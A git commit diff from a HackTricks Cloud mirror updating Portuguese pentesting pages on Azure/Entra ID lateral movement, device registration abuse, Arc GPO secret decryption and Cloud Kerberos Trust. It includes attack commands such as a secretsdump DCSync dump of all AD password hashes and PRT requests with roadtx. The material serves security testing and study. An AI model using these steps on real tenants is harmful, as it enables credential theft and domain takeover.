mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-device-registration.
This commit is contained in:
Translator
@@ -442,22 +442,19 @@
|
||||
- [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
|
||||
@@ -8,9 +8,9 @@ Quando um dispositivo se junta ao AzureAD, um novo objeto é criado no AzureAD.
|
||||
|
||||
Ao registrar um dispositivo, o **usuário é solicitado a fazer login com sua conta** (solicitando MFA se necessário), em seguida, solicita tokens para o serviço de registro de dispositivos e, por fim, pede uma confirmação final.
|
||||
|
||||
Então, dois pares de chaves RSA são gerados no dispositivo: A **chave do dispositivo** (**chave pública**) que é enviada para o **AzureAD** e a **chave de transporte** (**chave privada**) que é armazenada no TPM, se possível.
|
||||
Então, dois pares de chaves RSA são gerados no dispositivo: A **chave do dispositivo** (**chave** pública) que é enviada para o **AzureAD** e a **chave de transporte** (**chave** privada) que é armazenada no TPM, se possível.
|
||||
|
||||
Em seguida, o **objeto** é gerado no **AzureAD** (não no Intune) e o AzureAD devolve ao dispositivo um **certificado** assinado por ele. Você pode verificar se o **dispositivo está associado ao AzureAD** e informações sobre o **certificado** (como se está protegido por TPM).
|
||||
Então, o **objeto** é gerado no **AzureAD** (não no Intune) e o AzureAD devolve ao dispositivo um **certificado** assinado por ele. Você pode verificar se o **dispositivo está associado ao AzureAD** e informações sobre o **certificado** (como se está protegido por TPM).
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
@@ -27,10 +27,10 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
O **TPM** **protege** contra a **extração** de chaves de um dispositivo desligado (se protegido por PIN) e contra a extração do material privado da camada do SO.\
|
||||
Mas ele **não protege** contra **sniffing** da conexão física entre o TPM e a CPU ou **usando o material criptográfico** no TPM enquanto o sistema está em execução a partir de um processo com direitos **SYSTEM**.
|
||||
|
||||
Se você verificar a página a seguir, verá que **roubar o PRT** pode ser usado para acessar como um **usuário**, o que é ótimo porque o **PRT está localizado nos dispositivos**, então pode ser roubado deles (ou, se não roubado, abusado para gerar novas chaves de assinatura):
|
||||
Se você verificar a página a seguir, verá que **roubar o PRT** pode ser usado para acessar como um **usuário**, o que é ótimo porque o **PRT está localizado em dispositivos**, então pode ser roubado deles (ou, se não roubado, abusado para gerar novas chaves de assinatura):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registrando um dispositivo com tokens SSO
|
||||
@@ -50,7 +50,7 @@ registerdevice.py
|
||||
O que lhe dará um **certificado que você pode usar para solicitar PRTs no futuro**. Portanto, mantendo a persistência e **contornando o MFA** porque o token PRT original usado para registrar o novo dispositivo **já tinha permissões de MFA concedidas**.
|
||||
|
||||
> [!TIP]
|
||||
> Note que para realizar este ataque você precisará de permissões para **registrar novos dispositivos**. Além disso, registrar um dispositivo não significa que o dispositivo será **permitido para se inscrever no Intune**.
|
||||
> Observe que, para realizar este ataque, você precisará de permissões para **registrar novos dispositivos**. Além disso, registrar um dispositivo não significa que o dispositivo será **permitido para se inscrever no Intune**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Este ataque foi corrigido em setembro de 2021, pois você não pode mais registrar novos dispositivos usando tokens SSO. No entanto, ainda é possível registrar dispositivos de maneira legítima (tendo nome de usuário, senha e MFA, se necessário). Confira: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
@@ -71,7 +71,7 @@ Era possível **solicitar um ticket de dispositivo**, **sobrescrever** o atual d
|
||||
Resumo do ataque:
|
||||
|
||||
- É possível **sobrescrever** a chave **WHFB registrada** de um **dispositivo** via SSO
|
||||
- Isso **derrota a proteção do TPM** já que a chave é **capturada durante a geração** da nova chave
|
||||
- Isso **derrota a proteção do TPM**, pois a chave é **capturada durante a geração** da nova chave
|
||||
- Isso também fornece **persistência**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
@@ -86,7 +86,7 @@ e então PATCH as informações do searchableDeviceKey:
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É possível obter um token de acesso de um usuário via **device code phishing** e abusar dos passos anteriores para **roubar seu acesso**. Para mais informações, consulte:
|
||||
É possível obter um token de acesso de um usuário via **device code phishing** e abusar das etapas anteriores para **roubar seu acesso**. Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
|
||||
@@ -1,65 +1,39 @@
|
||||
# Az - Movimento Lateral (Nuvem - On-Prem)
|
||||
|
||||
## Az - Movimento Lateral (Nuvem - On-Prem)
|
||||
# Az - Movimento Lateral (Nuvem - Local)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Máquinas On-Prem conectadas à nuvem
|
||||
## Informações Básicas
|
||||
|
||||
Existem diferentes maneiras de uma máquina estar conectada à nuvem:
|
||||
Esta seção cobre as técnicas de pivotagem para mover de um inquilino Entra ID comprometido para o Active Directory (AD) local ou de um AD comprometido para o inquilino Entra ID.
|
||||
|
||||
#### Azure AD joined
|
||||
## Técnicas de Pivotagem
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Se um atacante puder controlar ou criar uma conta de computador AD e acessar o compartilhamento de implantação GPO do Azure Arc, ele pode descriptografar o segredo do Service Principal armazenado e usá-lo para se autenticar no Azure como o principal de serviço associado, comprometendo totalmente o ambiente Azure vinculado.
|
||||
|
||||
#### Workplace joined
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Como pivotar do Entra ID para o AD quando o Cloud Kerberos Trust está configurado. Um Administrador Global no Entra ID (Azure AD) pode abusar do Cloud Kerberos Trust e da API de sincronização para se passar por contas AD de alto privilégio, obter seus tickets Kerberos ou hashes NTLM, e comprometer totalmente o Active Directory local—mesmo que essas contas nunca tenham sido sincronizadas com a nuvem—efetivamente conectando a escalada de privilégio da nuvem para o AD.
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Cloud Sync**](az-cloud-sync.md): Como abusar do Cloud Sync para mover da nuvem para o AD local e vice-versa.
|
||||
|
||||
#### Hybrid joined
|
||||
- [**Connect Sync**](az-connect-sync.md): Como abusar do Connect Sync para mover da nuvem para o AD local e vice-versa.
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Domain Services**](az-domain-services.md): O que é o Serviço de Serviços de Domínio do Azure e como pivotar do Entra ID para o AD que ele gera.
|
||||
|
||||
#### Workplace joined em AADJ ou Hybrid
|
||||
- [**Federation**](az-federation.md): Como abusar da Federação para mover da nuvem para o AD local e vice-versa.
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Ataques diversos que podem ser usados para pivotar da nuvem para o AD local e vice-versa.
|
||||
|
||||
### Tokens e limitações <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Onde encontrar credenciais para a nuvem quando um PC está comprometido.
|
||||
|
||||
No Azure AD, existem diferentes tipos de tokens com limitações específicas:
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): Gerar um certificado baseado no PRT para fazer login de uma máquina para outra.
|
||||
|
||||
- **Access tokens**: Usados para acessar APIs e recursos como o Microsoft Graph. Eles estão vinculados a um cliente e recurso específicos.
|
||||
- **Refresh tokens**: Emitidos para aplicativos para obter novos access tokens. Eles só podem ser usados pelo aplicativo ao qual foram emitidos ou por um grupo de aplicativos.
|
||||
- **Primary Refresh Tokens (PRT)**: Usados para Single Sign-On em dispositivos Azure AD joined, registrados ou hybrid joined. Eles podem ser usados em fluxos de login no navegador e para fazer login em aplicativos móveis e de desktop no dispositivo.
|
||||
- **Windows Hello for Business keys (WHFB)**: Usados para autenticação sem senha. Eles são usados para obter Primary Refresh Tokens.
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Roubar cookies do Azure do navegador e usá-los para fazer login.
|
||||
|
||||
O tipo de token mais interessante é o Primary Refresh Token (PRT).
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): O que é o PRT, como roubá-lo e usá-lo para acessar recursos do Azure se passando pelo usuário.
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Como abusar da Autenticação Pass-through para mover da nuvem para o AD local e vice-versa.
|
||||
|
||||
### Técnicas de Pivoting
|
||||
- [**Seamless SSO**](az-seamless-sso.md): Como abusar do SSO Seamless para mover do local para a nuvem.
|
||||
|
||||
Do **máquina comprometida para a nuvem**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Roubar cookies do Azure do navegador e usá-los para fazer login
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Despejar a memória de processos locais sincronizados com a nuvem (como excel, Teams...) e encontrar access tokens em texto claro.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish o PRT para abusar dele
|
||||
- [**Pass the PRT**](pass-the-prt.md): Roubar o PRT do dispositivo para acessar o Azure se passando por ele.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Gerar um certificado baseado no PRT para fazer login de uma máquina para outra
|
||||
|
||||
De comprometer **AD** para comprometer a **Nuvem** e de comprometer a **Nuvem** para comprometer **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Outra maneira de pivotar da nuvem para On-Prem é** [**abusar do Intune**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Esta ferramenta permite realizar várias ações, como registrar uma máquina no Azure AD para obter um PRT e usar PRTs (legítimos ou roubados) para acessar recursos de várias maneiras diferentes. Esses não são ataques diretos, mas facilitam o uso de PRTs para acessar recursos de diferentes maneiras. Encontre mais informações em [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- **Outra maneira de pivotar da nuvem para o local é** [**abusar do Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,7 +13,7 @@ Quando executado, o script DeployGPO.ps1 realiza as seguintes ações:
|
||||
|
||||
Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias, também devem ser fornecidos ao script.
|
||||
|
||||
Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando a criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos Controladores de Domínio e grupos de segurança de Computadores de Domínio, conforme observado nos comentários do script.
|
||||
Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando a criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos grupos de segurança de Controladores de Domínio e Computadores de Domínio, conforme observado nos comentários do script.
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -35,7 +35,7 @@ Existem vários métodos para obter uma conta de máquina dentro de um ambiente
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
Uma vez que uma conta de máquina é obtida, é possível autenticar usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
|
||||
Uma vez que uma conta de máquina é obtida, é possível autenticar-se usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
## Pivotando do Entra ID para o AD Local
|
||||
|
||||
**Cenário:** A organização alvo tem **Cloud Kerberos Trust** habilitado para autenticação sem senha. Um atacante obteve privilégios de **Global Administrator** no Entra ID (Azure AD), mas ainda **não** controla o AD local. O atacante também tem um ponto de apoio com acesso à rede de um Controlador de Domínio (via VPN ou uma VM do Azure em rede híbrida). Usando a confiança na nuvem, o atacante pode aproveitar o controle do Azure AD para obter um ponto de apoio em nível de **Domain Admin** no AD.
|
||||
**Cenário:** A organização alvo tem **Cloud Kerberos Trust** habilitado para autenticação sem senha. Um atacante obteve privilégios de **Global Administrator** no Entra ID (Azure AD), mas ainda **não** controla o AD local. O atacante também tem um ponto de apoio com acesso à rede a um Controlador de Domínio (via VPN ou uma VM do Azure em rede híbrida). Usando a confiança na nuvem, o atacante pode aproveitar o controle do Azure AD para obter um ponto de apoio de nível **Domain Admin** no AD.
|
||||
|
||||
**Pré-requisitos:**
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
- Pelo menos uma **conta de usuário híbrida** (existe tanto no AD quanto no AAD) que o atacante pode autenticar. Isso pode ser obtido conhecendo ou redefinindo suas credenciais ou atribuindo um método sem senha (por exemplo, um Temporary Access Pass) para gerar um Primary Refresh Token (PRT) para ela.
|
||||
|
||||
- Uma **conta alvo do AD local** com altos privilégios que *não* está na política de "negação" padrão do RODC. Na prática, um ótimo alvo é a **conta de sincronização do AD Connect** (geralmente nomeada **MSOL_***), que possui direitos DCSync (replicação) no AD, mas geralmente não é membro de grupos de administração integrados. Esta conta normalmente não é sincronizada com o Entra ID, tornando seu SID disponível para impersonação sem conflito.
|
||||
- Uma **conta alvo do AD local** com altos privilégios que *não* está na política de "negação" padrão do RODC. Na prática, um ótimo alvo é a **conta de sincronização do AD Connect** (geralmente nomeada **MSOL_***), que possui direitos DCSync (replicação) no AD, mas geralmente não é membro de grupos administrativos integrados. Esta conta normalmente não é sincronizada com o Entra ID, tornando seu SID disponível para impersonação sem conflito.
|
||||
|
||||
**Passos do Ataque:**
|
||||
|
||||
@@ -40,7 +40,7 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```
|
||||
> O `sourceAnchor` (ID imutável) do usuário é necessário para identificar o objeto do Azure AD a ser modificado. A ferramenta define o SID on-prem do usuário híbrido e o nome da conta SAM para os valores do alvo (por exemplo, o SID e SAM da conta MSOL_xxxx). O Azure AD normalmente não permite alterar esses atributos via Graph (eles são somente leitura), mas a API do serviço de sincronização permite isso e os Administradores Globais podem invocar essa funcionalidade de sincronização.
|
||||
|
||||
3. **Obter um TGT Parcial do Azure AD:** Após a modificação, autentique-se como o usuário híbrido no Azure AD (por exemplo, obtendo um PRT em um dispositivo ou usando suas credenciais). Quando o usuário faz login (especialmente em um dispositivo Windows associado ao domínio ou ao Entra), o Azure AD emitirá um **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para essa conta porque a Confiança Kerberos na Nuvem está habilitada. Este TGT parcial é criptografado com a chave RODC AzureADKerberos$ e inclui o **SID alvo** que definimos. Podemos simular isso solicitando um PRT para o usuário via ROADtools:
|
||||
3. **Obter um TGT Parcial do Azure AD:** Após a modificação, autentique-se como o usuário híbrido no Azure AD (por exemplo, obtendo um PRT em um dispositivo ou usando suas credenciais). Quando o usuário faz login (especialmente em um dispositivo Windows associado ao domínio ou ao Entra), o Azure AD emitirá um **TGT Kerberos parcial (TGT**<sub>**AD**</sub>) para essa conta porque a Confiança Kerberos na Nuvem está habilitada. Este TGT parcial é criptografado com a chave AzureADKerberos$ RODC e inclui o **SID alvo** que definimos. Podemos simular isso solicitando um PRT para o usuário via ROADtools:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
@@ -58,12 +58,12 @@ Este script (ou equivalentes do Impacket) irá contatar o Controlador de Domíni
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
Isso despeja todos os hashes de senha de usuários do AD, dando ao atacante o hash KRBTGT (permitindo que ele forje tickets Kerberos de domínio à vontade) e efetivamente privilégios de **Domain Admin** sobre o AD. Se a conta alvo fosse outro usuário privilegiado, o atacante poderia usar o TGT completo para acessar qualquer recurso de domínio como esse usuário.
|
||||
Isso despeja todos os hashes de senha de usuários do AD, dando ao atacante o hash do KRBTGT (permitindo que ele forje tickets Kerberos de domínio à vontade) e efetivamente privilégios de **Domain Admin** sobre o AD. Se a conta alvo fosse outro usuário privilegiado, o atacante poderia usar o TGT completo para acessar qualquer recurso de domínio como esse usuário.
|
||||
|
||||
6. **Limpeza:** Opcionalmente, o atacante pode restaurar o `onPremisesSAMAccountName` e o SID originais do usuário do Azure AD modificado através da mesma API ou simplesmente excluir qualquer usuário temporário criado. Em muitos casos, o próximo ciclo de sincronização do Azure AD Connect reverterá automaticamente alterações não autorizadas em atributos sincronizados. (No entanto, a essa altura, o dano já está feito -- o atacante possui privilégios de DA.)
|
||||
6. **Limpeza:** Opcionalmente, o atacante pode restaurar o `onPremisesSAMAccountName` e o SID originais do usuário do Azure AD modificado via a mesma API ou simplesmente excluir qualquer usuário temporário criado. Em muitos casos, o próximo ciclo de sincronização do Azure AD Connect reverterá automaticamente alterações não autorizadas em atributos sincronizados. (No entanto, a essa altura, o dano já está feito -- o atacante possui privilégios de DA.)
|
||||
|
||||
> [!WARNING]
|
||||
> Ao abusar do mecanismo de confiança e sincronização na nuvem, um Global Admin do Azure AD pode se passar por quase *qualquer* conta do AD que não esteja explicitamente protegida pela política RODC, mesmo que essa conta nunca tenha sido sincronizada com a nuvem. Em uma configuração padrão, isso **estabelece uma confiança completa da comprometimento do Azure AD para o comprometimento do AD local**.
|
||||
> Ao abusar do mecanismo de confiança e sincronização da nuvem, um Global Admin do Azure AD pode se passar por quase *qualquer* conta do AD que não esteja explicitamente protegida pela política RODC, mesmo que essa conta nunca tenha sido sincronizada com a nuvem. Em uma configuração padrão, isso **estabelece uma confiança completa da comprometimento do Azure AD para o comprometimento do AD local**.
|
||||
|
||||
|
||||
## Referências
|
||||
@@ -4,46 +4,46 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**Cloud Sync** é basicamente a nova maneira do Azure de **sincronizar os usuários do AD para o Entra ID**.
|
||||
**Cloud Sync** é basicamente a nova maneira do Azure de **sincronizar os usuários do AD no Entra ID**.
|
||||
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos com o Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos no Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.
|
||||
|
||||
### Principais Gerados
|
||||
### Principais Criados
|
||||
|
||||
Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório local:
|
||||
Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório On-Premise:
|
||||
|
||||
- No Entra ID, o usuário `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) é criado com a função **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para [**escalar privilégios até o administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
|
||||
> Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para [**escalar privilégios até administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
|
||||
|
||||
- No Entra ID, também é criado o grupo **`AAD DC Administrators`** sem membros ou proprietários. Este grupo é útil se [`Microsoft Entra Domain Services`](./az-domain-services.md) for utilizado.
|
||||
|
||||
- No AD, ou a Conta de Serviço **`provAgentgMSA`** é criada com um SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou uma personalizada com [**essas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente, a padrão é criada.
|
||||
|
||||
> [!WARNING]
|
||||
> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** tem permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** tem permissões DCSync, permitindo **que qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios diretamente **podem ser sincronizados**.
|
||||
|
||||
## Sincronização de Senhas
|
||||
|
||||
Esta seção é muito semelhante à de:
|
||||
A seção é muito semelhante à de:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **A sincronização de hash de senha** pode ser habilitada para que os usuários possam **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
|
||||
